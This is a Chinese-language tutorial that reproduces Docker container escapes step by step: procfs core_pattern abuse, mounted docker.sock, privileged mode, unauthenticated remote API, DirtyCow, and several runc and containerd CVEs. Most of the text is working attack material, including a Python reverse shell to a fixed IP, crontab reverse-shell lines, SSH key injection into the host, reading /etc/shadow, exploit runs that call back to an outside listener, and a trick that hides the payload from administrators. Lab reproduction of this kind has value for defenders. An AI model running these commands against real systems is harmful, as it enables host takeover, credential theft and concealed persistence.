详细的记录了一些Docker漏洞的原理、环境搭建、漏洞复现内容
- 挂载宿主机profcs逃逸
- 挂载Docker Socket逃逸
- Privileage特权模式逃逸
- API未授权
- CVE-2016-5195 DirtyCow 逃逸
- CVE-2019-16884
- CVE-2019-5736
- CVE-2020-15257
配置类型\验证方法 | 容器内验证命令 | 结果 |
---|---|---|
Privileged 特权模式 | cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode" | |
cat /proc/self/status | grep -qi "0000001fffffffff" && echo "Is privileged mode" || echo "Not privileged mode" | Is privileged mode. | |
挂载Socket | ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted." | Docker Socket is mounted. |
挂载procfs | find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted." | Procfs is mounted. |
挂载宿主机根目录 | find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted." | Root directory is mounted. |
Docker remote api 未授权访问 | IP=hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed." |
Docker Remote API Is Enabled. |
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。 Docker默认情况下不会为容器开启 User Namespace 从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。 一般情况下不会将宿主机的 procfs 挂载到容器中,然而有些业务为了实现某些特殊需要,还是会有这种情况发生。
- 宿主机: 阿里云ECS centos7.6
- docker容器:ubuntu 18.04
- 监听机:腾讯云 centos7.6
在宿主机中创建一个容器并挂载/proc目录 这里创建的容器是ubuntu的18.04版本,高版本apt会安装失败
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:18.04
进入容器后如果在容器中找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs
find / -name core_pattern
找到当前容器在宿主机下的绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py
shell脚本内容
#!/usr/bin/python3
import os
import pty
import socket
lhost = "43.142.177.224"
lport = 80
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()
给 Shell 赋予执行权限
chmod 777 .t.py
然后写入执行反弹shell命令(即运行上面的py文件)到共享的/proc目录下的core_pattern文件中:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo -e "|$host_path/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
# 是以宿主机权限运行,所以py文件为当前容器文件路径在宿主机上的绝对路径
/proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的,当第一个字符是管道符|时,后面的部分会以命令行的方式进行解析并运行。\r之后的内容主要是为了管理员通过cat命令查看内容时隐蔽我们写入恶意命令。
在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序
vim /tmp/t.c
t.c内容
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
编译运行
gcc t.c -o t
./t
Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:
- unix:///var/run/docker.sock(默认
- tcp://host:port
- fd://socketfd
Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。
- 攻击者获得了 docker 容器的访问权限
- 容器已安装/var/run/docker.sock
- 宿主机: 阿里云ECS centos7.6
- docker容器:ubuntu 18.04
- 监听机:腾讯云 centos7.6
在宿主机的/home目录下创建验证文件
touch /home/success.txt
创建一个容器并挂载 /var/run/docker/sock 文件
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
在容器内安装Docker命令行客户端
docker exec -it with_docker_sock /bin/bash
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
如果存在这个文件,说明漏洞可能存在
ls -lah /var/run/docker.sock
在容器内部创建一个新的容器,并将宿主机/home目录挂载到新的容器内部
docker run -it -v /:/home ubuntu /bin/bash
chroot /home
Docker 高危启动参数 -- privileged 特权模式启动容器 当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
privileged 特权模式启动容器
使用 --privileged=true 创建一个容器
docker run --rm --privileged=true -it alpine
在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
cat /proc/self/status | grep CapEff
fdisk -l
在容器内部执行以下命令,将宿主机文件挂载到 /test 目录下
mkdir /test && mount /dev/vda1 /test
尝试访问宿主机 shadow 文件,可以看到正常访问
cat /test/etc/shadow
chroot /test
Docker remote api 可以执行 docker 命令,docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 docker
操作系统: Centos7.8 Docker版本: Docker-Ce18.09.9
curl -o /etc/yum.repos.d/Centos-7.repo http://mirrors.aliyun.com/repo/Centos-7.repo
curl -o /etc/yum.repos.d/docker-ce.repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
yum clean all && yum makecache && yum update
yum install -y docker-ce-18.09.9
# 安装不了则配置一下yum源
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.rep
vim /etc/docker/daemon.json
{ "registry-mirrors" : [ "https://8xpk5wnt.mirror.aliyuncs.com" ]}
设置开机自启
systemctl enable docker
systemctl daemon-reload
#启动containerd服务
containerd
#查看服务状态
Systemctl status containerd
开启2375端口,提供外部访问
vim /usr/lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H fd:// --containerd=/run/containerd/containerd.sock
systemctl daemon-reload
systemctl restart docker
docker version
检查端口开放 外网访问需要打开防火墙规则 本地虚拟机需要关闭防火墙
# 关闭默认自带防火墙:
systemctl stop firewalld && systemctl disable firewalld
# 安装iptables管理工具,并清空规则:
yum -y install iptables-services && systemctl start iptables && systemctl enable iptables && iptables -F && service iptables save
# 第三,关闭selinux
# 下面命令先关闭selinux,然后从selinux的配置文件中设置它为永久关闭。
setenforce 0 && sed -i 's/^SELINUX=.*/SELINUX=disabled/' /etc/selinux/config
直接访问目的ip:2375显示{"message":"page not found"} 在路径中接上/version进行验证:会返回docker的版本信息 如果能查看到对应的docker信息,则证明漏洞存在,在攻击机开启docker服务 使用docker –H tcp://靶机ip:2375 ps命令查看靶机已启动的容器,也可以查看目标机器的镜像
# 查看docker服务
docker -H tcp://120.27.21.11:2375 ps
# 查看docker镜像
docker -H tcp://120.27.21.11:2375 images
定时任务反弹shell需要运用到crontab服务,crontab服务写shell的需要先了解它的语法格式:
所以我们可以构造出反弹shell的语句:
* * * * * /bin/bash –i >& /dev/tcp/ip/port 0>&1 # 任意时间都会反弹shell
*/1 * * * * /bin/bash –i >& /dev/tcp/ip/port 0>&1 # 每隔一分钟就会反弹shell
启动一个容器并挂载宿主机的mnt目录,返回其sh shell 参数说明
- run 运行容器
- --rm 容器停止时,自动删除该容器
- -v 挂载目录
- -I 指示docker在容器上打开一个标准的输入接口
- -t 指示docker要创建一个伪tty终端
# 启动容器之后退出容器就会清理掉该容器
docker -H tcp://120.27.21.11:2375 run --rm -it -v /:/mnt busybox chroot /mnt sh
写入到定时任务当中,因为挂载的是宿主机的mnt目录所以定时任务将由宿主机触发从而完成逃逸
echo "*/1 * * * * /bin/bash -i >& /dev/tcp/43.142.177.224/80 0>&1" > /var/spool/cron/root
攻击机开启nc监听,过一段时间之后就会得到宿主机反弹回来的shell了
nc -lvk 80
攻击机生成一个key,ssh-keygen –t rsa 指定rsa的加密方式生成之后会在/root/.ssh目录下 进行远程创建docker并添加密钥
docker -H tcp://120.27.21.11:2375 run --rm -it -v /:/mnt busybox chroot /mnt sh
将公钥通过API创建的容器利用文件挂载写入宿主机的~/.ssh/authorized_keys文件中
cd ~/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC8Aqv9WNzyNWujw+Z5Oegv5Xmc6g+c3OOZO4sgzWTsyVwawFe+0BdSRhoc0vUCzRw111kQmWBHaeuE2HkT6qsdhKVI3X97YuXeHrOyQwYDxxK7pIAbtOKEK+oFSgD/EOToKkOfzRcjIcmj/I60nPaFY631LSGvLx5DsltvbUIF0h3KCf8LTgbg0NHL0hhJSsubyoFnU+x/I2CASfcAmH2ZYAm5EHlvuFB680xbRhZaN7r1vUPG4SlYySrE4hNOh7UR6azhDbxoz5WNGFc1mWXDlWiMNs17KfWQRmTwDxvCDbTzcerTNGIJZ/3P7ALUDoE8B/fYk2N4j7HmEqY2la9 root@source" > /root/.ssh/authorized_keys
ssh -i id_rsa2 [email protected]
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition,允许恶意用户提权获取其他只读内存映射的写访问权限。 竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。 VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。 在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。 脏牛漏洞几乎涵盖了所有主流的 Linux 发行版,同时也是一个由 Linus 本人亲手修复的漏洞。
docker与宿主机共享内核,如果要触发这个漏洞,需要宿主机存在dirtyCow漏洞的宿主机。 Linux各发行版本对于该漏洞的相关信息
|
- Centos7 /RHEL7 | 3.10.0-327.36.3.el7 | | --- | --- | |
- Cetnos6/RHEL6 | 2.6.32-642.6.2.el6 | |
- Ubuntu 16.10 | 4.8.0-26.28 | |
- Ubuntu 16.04 | 4.4.0-45.66 | |
- Ubuntu 14.04 | 3.13.0-100.147 | |
- Debian 8 | 3.16.36-1+deb8u2 |
宿主机安装 Ubuntu系统镜像下载:http://mirrors.163.com/ubuntu-releases/14.04/
uname -a
uname -r
cat /etc/issue
本机脏牛提权
sudo apt-get update
sudo apt-get install -y build-essential
sudo apt-get install -y nasm
sudo apt-get install -y git
sudo mkdir /dirtycow-vdso
sudo git clone https://github.com/scumjr/dirtycow-vdso.git /dirtycow-vdso
cd dirtycow-vdso
make
./0xdeadbeef 43.142.177.224:80
测试环境下载,下载不了可以本机下载再复制过去
git clone https://github.com/gebl/dirtycow-docker-vdso.git
git clone https://github.com.cnpmjs.org/gebl/dirtycow-docker-vdso.git
安装docker
# Ubuntu14.04安装docker教程
https://juejin.cn/post/6844903993387253768
# 安装docker-compose
sudo curl -L "https://github.com/docker/compose/releases/download/1.25.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
# 下交不了或速度较慢则换一个
sudo curl -L "https://get.daocloud.io/docker/compose/releases/download/1.27.3/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
# 修改docker-compose文件夹权限
chmod +x /usr/local/bin/docker-compose
运行测试容器
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash
起docker的时候可能会因为网络环境问题无法git clone这时候可以先把Dockerfile中这三行删除掉,手动下载并移动到docker中 进入容器编译并执行
cd /dirtycow-vdso/
make
./0xdeadbeef 443.142.177.224:80
逃逸漏洞\影响版本 | 内核发行版本 | docker | runc | containerd |
---|---|---|---|---|
CVE-2016-5195 | 2.6.22 <= 版本 <= 4.8.3 | |||
CVE-2019-5736 | ||||
<=18.09.2 | <=1.0-rc6 | |||
CVE-2019-16884 | <= 1.0.0-rc8 | |||
CVE-2020-14386 | 4.6 <= 版本 < 5.9 | |||
CVE-2020-15257 | ||||
< 1.4.3 | ||||
< 1.3.9 | ||||
CVE-2022-0847 | 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 |
runc是一个根据OCI规范实现的CLI工具,用于生成和运行容器,docker的runtime使用的就是runc。
在容器镜像中可以声明一个VOLUME,挂载至/proc,欺骗runc使其认为AppArmor已经成功应用,从而绕过AppArmor策略。这个漏洞由AdamIwaniuk(https://twitter.com/adam_iwaniuk/))发现,并在DragonSectorCTF2019(https://ctftime.org/task/9279))期间披露。 这个CTF题目挑战将一个文件挂载到/flag,并使用AppArmor策略拒绝访问该文件。选手可以利用(https://twitter.com/adam_iwaniuk/status/1175741830136291328))这个漏洞来禁用这个策略并读取文件。
**runc <= 1.0.0-rc8 ** 修复版本:1.0.0-rc9
由于方便本次环境搭建在docker中ubuntu主机中 (ubuntu将成为宿主机相当于在Docker中起docker) 宿主机启动docker环境
docker run -ti ssst0n3/docker_archive:CVE-2019-16884
...
ubuntu login: root
Password: root
...
root@ubuntu:~#
PS:配置docker pull源
# 编辑/etc/docker/daemon.json文件(没有该文件就创建),中加下面参数(注意json串的格式):
vim /etc/docker/daemon.json
{
"registry-mirrors": ["https://docker.mirrors.ustc.edu.cn", "http://hub-mirror.c.163.com", "https://registry.docker-cn.com"]
}
# 重启docker服务
systemctl restart docker
ubuntu login:root
Password:root
创建apparmor规则
cat > /etc/apparmor.d/no_flag <<EOF
#include <tunables/global>
profile no_flag flags=(attach_disconnected,mediate_deleted) {
#include <abstractions/base>
file,
deny /flag r,
}
EOF
/sbin/apparmor_parser --replace --write-cache /etc/apparmor.d/no_flag
宿主机创建/tmp/flag/1.txt文件
cd /tmp
echo success > flag
docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag busybox cat /flag
# output:
cat: can't open '/flag': Permission denied
mkdir -p rootfs/proc/self/{attr,fd}
touch rootfs/proc/self/{status,attr/exec}
touch rootfs/proc/self/fd/{4,5}
cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /
VOLUME /proc
EOF
docker build -t apparmor-bypass .
逃逸成功,成功读取宿主机文件
docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag apparmor-bypass cat /flag
# output
success
docker: Error response from daemon: cannot start a stopped process: unknown.
runc 在使用文件系统描述符时存在漏洞,该漏洞可导致特权容器被利用,造成容器逃逸以及访问宿主机文件系统;攻击者也可以使用恶意镜像,或修改运行中的容器内的配置来利用此漏洞。
攻击方式1:(该途径无需特权容器)运行中的容器被入侵,系统文件被恶意篡改 ==> 宿主机运行docker exec命令,在该容器中创建新进程 ==> 宿主机runc被替换为恶意程序 ==> 宿主机执行docker run/exec 命令时触发执行恶意程序;
攻击方式2:(该途径无需特权容器)docker run命令启动了被恶意修改的镜像 ==> 宿主机runc被替换为恶意程序 ==> 宿主机运行docker run/exec命令时触发执行恶意程序。
当runc在容器内执行新的程序时,攻击者可以欺骗它执行恶意程序。通过使用自定义二进制文件替换容器内的目标二进制文件来实现指回 runc 二进制文件。
如果目标二进制文件是 /bin/bash,可以用指定解释器的可执行脚本替换 #!/proc/self/exe。因此,在容器内执行 /bin/bash,/proc/self/exe 的目标将被执行,将目标指向 runc 二进制文件。
然后攻击者可以继续写入 /proc/self/exe 目标,尝试覆盖主机上的 runc 二进制文件。这里需要使用 O_PATH flag打开 /proc/self/exe 文件描述符,然后以 O_WRONLY flag 通过/proc/self/fd/重新打开二进制文件,并且用单独的一个进程不停地写入。当写入成功时,runc会退出。
影响版本 docker version <=18.09.2 && RunC version <=1.0-rc6 需要在容器内拥有 root (uid 0)
# 卸载已有版本
yum remove docker \
docker-client \
docker-client-latest \
docker-common \
docker-latest \
docker-latest-logrotate \
docker-logrotate \
docker-engine
# 为了方便添加软件源,支持 devicemapper 存储类型,安装如下软件包
yum update
yum install -y yum-utils device-mapper-persistent-data lvm2
# 添加 Docker 稳定版本的 yum 软件源
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
# 列出可用版本
yum list docker-ce --showduplicates | sort -r
yum update
# 安装有漏洞版本<=18.09.2,这里选择18.06.0.ce-3.el7版本
yum install docker-ce-18.06.0.ce-3.el7 -y
在受害主机启动一个容器
docker pull nginx
docker run --name nginx-test -p 8080:80 -d nginx
docker ps -a
编译go脚本生成攻击payload
# 下载POC:
https://github.com/Frichetten/CVE-2019-5736-PoC
# 修改Payload中的内容,写入一个反弹Shell的代码,其中打码部分是我服务器的IP
# 切换到root用户或以root用户身份编译main.go文件
sudo CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
将该payload通过docker cp拷贝到docker容器中(此时可以模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸) 并执行
docker cp main 2a7d:/home
docker exec -it 2a7d /bin/bash
cd /home/
chmod 777 main
./main
之后宿主机再次exec启动docker,观察容器中 vps成功收到反弹shell
这个漏洞打了可能就回不去了......慎用
containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。
containerd < 1.4.3
containerd < 1.3.9
kali 2021~Centos7.6 更新apt源
# 添加 Docker 稳定版本的 yum 软件源
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
yum clean all
yum makecache
yum install -y docker-ce-18.09.6-3.el7 docker-ce-cli-19.03.6-3.el7 containerd.io-1.2.4-3.1.el7
docker pull ubuntu:18.04
通过--net=host 作为启动参数来运行一个容器
sudo docker run -itd --net=host ubuntu:18.04 /bin/bash
docker ps -a
https://github.com/cdk-team/CDK/releases/tag/0.1.6 将下载好的压缩包解压,然后copy进docker容器
进入容器bash 在容器内执行exp,攻击机设置监听
docker exec -it 85022 /bin/bash
./cdk_linux_amd64 run shim-pwn 43.142.177.224 80